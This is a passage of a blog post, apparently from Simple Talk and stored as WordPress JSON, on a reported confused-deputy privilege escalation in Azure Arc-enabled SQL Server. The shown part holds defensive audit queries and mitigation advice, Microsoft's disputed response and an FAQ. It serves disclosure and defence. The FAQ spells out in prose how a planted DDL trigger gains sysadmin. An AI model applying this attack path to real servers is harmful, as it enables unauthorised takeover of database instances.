id=\"h-the-explicit-warning-i-d-include-in-the-document\">The explicit warning I&#8217;d include in the document<\/h4>\n\n\n\n<p>Microsoft\u2019s Azure Arc documentation should therefore include an explicit warning similar to:&nbsp;<\/p>\n\n\n\n<p><em>During onboarding and permission configuration, the Azure Extension for SQL Server Deployer can connect using a highly privileged SQL Server execution context. Database-level DDL statements executed by the Deployer can cause existing database DDL triggers to run under that context. Before onboarding a SQL Server instance or enabling Arc features, administrators should review all database-level DDL triggers and ensure that no trigger can perform unintended server-level operations.&nbsp;<\/em><\/p>\n\n\n\n<p>Clearer documentation alone wouldn&#8217;t correct the underlying privilege escalation condition, but it <em>would<\/em> allow customers to understand the <em>real security implications<\/em> of onboarding SQL Server to Azure Arc so that they can take reasonable precautions until the execution model is changed.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-customer-mitigations-nbsp\">Customer mitigations&nbsp;<\/h2>\n\n\n\n<p>Until the execution model is changed, organizations using Azure Arc-enabled SQL Server should consider the following defensive measures.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-review-membership-in-db-ddladmin-and-equivalent-permissions-sufficient-to-create-a-database-level-ddl-trigger-nbsp\">Review membership in <code>db_ddladmin<\/code> and equivalent permissions sufficient to create a database-level DDL trigger&nbsp;<\/h3>\n\n\n\n<p>Identify all members of the role:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT \n\n    DB_NAME() AS DatabaseName, \n\n    roles.name AS RoleName, \n\n    members.name AS MemberName, \n\n    members.type_desc AS MemberType \n\nFROM sys.database_role_members AS drm \n\nINNER JOIN sys.database_principals AS roles \n\n    ON roles.principal_id = drm.role_principal_id \n\nINNER JOIN sys.database_principals AS members \n\n    ON members.principal_id = drm.member_principal_id \n\nWHERE roles.name IN (N'db_ddladmin', N'db_owner'); <\/pre><\/div>\n\n\n\n<p>Run the query in every database and remove any memberships that are no longer necessary.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-review-database-level-ddl-triggers-nbsp\">Review database-level DDL triggers&nbsp;<\/h3>\n\n\n\n<p>To review database-level DDL triggers, use:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT \n    name, \n    parent_class_desc, \n    create_date, \n    modify_date, \n    is_disabled, \n    OBJECT_DEFINITION(object_id) AS TriggerDefinition \nFROM sys.triggers \nWHERE parent_class_desc = N'DATABASE'; <\/pre><\/div>\n\n\n\n<p>Review triggers for server-level commands, <a href=\"https:\/\/sqlblog.org\/dynamic-sql\" target=\"_blank\" rel=\"noreferrer noopener\">dynamic SQL<\/a>, role changes, login creation, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/sql-server-audit-server-configuration\/\" target=\"_blank\" rel=\"noreferrer noopener\">configuration<\/a> changes, calls to privileged procedures, obfuscated or encrypted code, unexpected ownership and\/or recent modifications.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-monitor-trigger-creation-and-alteration-nbsp\">Monitor trigger creation and alteration&nbsp;<\/h3>\n\n\n\n<p>Audit events such as <code>CREATE_TRIGGER<\/code>, <code>ALTER_TRIGGER<\/code>, and <code>DROP_TRIGGER<\/code>. Also audit database role membership changes, grants of <code>ALTER ANY DATABASE DDL TRIGGER<\/code>, and grants of broad database DDL permissions.<\/p>\n\n\n\n<p>A trigger does <em>not<\/em> need to remain enabled forever. An attacker may create it shortly before an expected extension operation and remove it after escalation.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-review-azure-arc-s-effective-sql-server-permissions-nbsp\">Review Azure Arc&#8217;s effective SQL Server permissions&nbsp;<\/h3>\n\n\n\n<p>Determine which login or service identity the extension uses and what server-level authority it holds.&nbsp;Organizations should understand whether extension database operations are occurring under <code>sysadmin<\/code>, <code>CONTROL SERVER<\/code>, <br><code>NT AUTHORITY\\SYSTEM<\/code>, a custom server role, or another high-privilege service identity.<\/p>\n\n\n\n<p>The relevant risk is the effective SQL Server token, not merely the Windows account name.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-isolate-duties-where-possible-nbsp\">Isolate duties where possible&nbsp;<\/h3>\n\n\n\n<p><strong>Do <em>not<\/em> assume that database schema administrators are automatically safe from server-wide escalation simply because their explicit permissions are database-scoped.&nbsp;<\/strong><\/p>\n\n\n\n<p>Where Azure Arc or another privileged management tool operates in the same databases:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Minimize delegated DDL authority.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Separate administrative identities.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Monitor privileged service activity.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Review all extensibility mechanisms.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Test service operations against hostile database objects.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-final-thoughts-nbsp\">Final thoughts&nbsp;<\/h2>\n\n\n\n<p>The demonstrated behavior is not in dispute: a database-scoped principal that cannot directly modify the <code>sysadmin<\/code> role can create a DDL trigger that later succeeds in doing so when Azure Arc performs privileged DDL inside that database.<\/p>\n\n\n\n<p>Microsoft&#8217;s position is that this result follows SQL Server&#8217;s documented trigger security model and, given the attacker&#8217;s prerequisite permissions, does not cross a recognized SQL Server security boundary. I disagree with that assessment. <\/p>\n\n\n\n<p>The fact that SQL Server documents the risk of privileged callers executing attacker-controlled trigger code explains <em>why<\/em> the escalation works. In my view, it does not resolve the separate question of whether a privileged management component should expose its server-level authority to that code.<\/p>\n\n\n\n<p>Azure Arc&#8217;s execution model is particularly relevant because Microsoft&#8217;s own documentation shows that <code>Deployer.exe<\/code> performs privileged SQL Server configuration operations and that least-privilege operation is <em>not<\/em> currently the default. <\/p>\n\n\n\n<p><strong>When such a component enters a database containing executable metadata controlled by a less-privileged principal, that database should be treated as a lower-trust execution boundary. If Microsoft recommends that customers avoid this pattern, why does Azure Arc do it anyway?<\/strong><\/p>\n\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: The Azure Arc SQL Server privilege escalation vulnerability<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is the Azure Arc SQL Server privilege escalation vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p>A login with db_ddladmin (or equivalent trigger-creation rights) in one database creates a malicious DDL trigger. When Azure Arc&#8217;s SQL extension later runs onboarding\/configuration DDL in that database using its privileged identity, the trigger fires under that elevated context and adds the login to sysadmin.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. Does this require db_ddladmin specifically?<\/h3>\n            <div class=\"faq-answer\">\n                <p>No \u2014 any permission sufficient to create a database-level DDL trigger works. db_ddladmin is just the common example, and it&#8217;s database-scoped, not server-level, by design.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Is db_ddladmin the same as sysadmin?<\/h3>\n            <div class=\"faq-answer\">\n                <p>No. db_ddladmin manages objects within one database; sysadmin controls the entire instance. The bug matters because it converts one into the other without authorization.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. How does the attack actually work?<\/h3>\n            <div class=\"faq-answer\">\n                <p>The attacker plants a trigger that tries to add their login to sysadmin \u2014 which fails under their own permissions. When Azure Arc later fires that trigger during a privileged DDL operation, the same command succeeds.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. What did Microsoft say about this vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p>MSRC rated it Low severity and issued no CVE, arguing db_ddladmin is already a high-privilege, escalation-capable role. The researcher disputes this, citing a similar case (108226) that Microsoft rated Important.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. What&#039;s the actual impact if exploited?<\/h3>\n            <div class=\"faq-answer\">\n                <p class=\"font-claude-response-body break-words whitespace-normal\" dir=\"ltr\">Full sysadmin takeover of the instance: access to every database, new logins, config changes, disabled auditing, and persistence.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">7. How can organizations mitigate this today?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Audit db_ddladmin\/db_owner membership across databases, review existing DDL triggers for server-level commands, monitor trigger creation events, and confirm what privilege level Azure Arc&#8217;s identity actually holds.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">8. Has Microsoft released a fix?<\/h3>\n            <div class=\"faq-answer\">\n                <p>No CVE or patch as of the disclosure timeline. Microsoft calls the behavior expected under existing trigger-security documentation; the researcher argues Azure Arc&#8217;s execution model should be redesigned regardless.<\/p>\n            <\/div>\n            <\/section>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-references-nbsp\">References&nbsp;<\/h3>\n\n\n<div class=\"block-core-list\">\n<ol start=\"1\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/security\/authentication-access\/database-level-roles?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong>Database-level roles &#8211; SQL Server<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"2\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/triggers\/manage-trigger-security?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong>Manage trigger security<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"3\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/permissions-granted-agent-extension?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong>Permissions granted to the Azure Extension for SQL Server<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"4\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/configure-least-privilege?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong>Configure least privilege for Azure Arc-enabled SQL Server<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"5\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/security-overview?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong>Security overview for Azure Arc-enabled SQL Server<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"6\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/statements\/execute-as-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn: <strong><code>EXECUTE AS<\/code> (Transact-SQL)<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"7\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.microsoft.com\/en-us\/msrc\/sdlbugbar\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Security Response Center: <strong>Security servicing criteria \/ SDL bug bar<\/strong><\/a><\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"8\" class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.sommarskog.se\/perm-hijack.html\" target=\"_blank\" rel=\"noreferrer noopener\">Erland &#8211; Don&#8217;t Let Your Permissions be Hijacked!<\/a><\/li>\n<\/ol>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>Learn how db_ddladmin permissions plus Azure Arc&#8217;s SQL extension create a confused-deputy attack path to sysadmin \u2014 and how to detect and mitigate it.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":104760,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143523,53,143530,46,143524],"tags":[4168,4170,4619,5765,4150,4151,159394],"coauthors":[6809],"class_list":["post-112314","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-databases","category-featured","category-security","category-data-security-privacy-compliance","category-sql-server","tag-database","tag-database-administration","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server","tag-sql-server-security-vulnerabilities"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=112314"}],"version-history":[{"count":19,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112314\/revisions"}],"predecessor-version":[{"id":112510,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/112314\/revisions\/112510"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/104760"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=112314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=112314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=112314"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=112314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}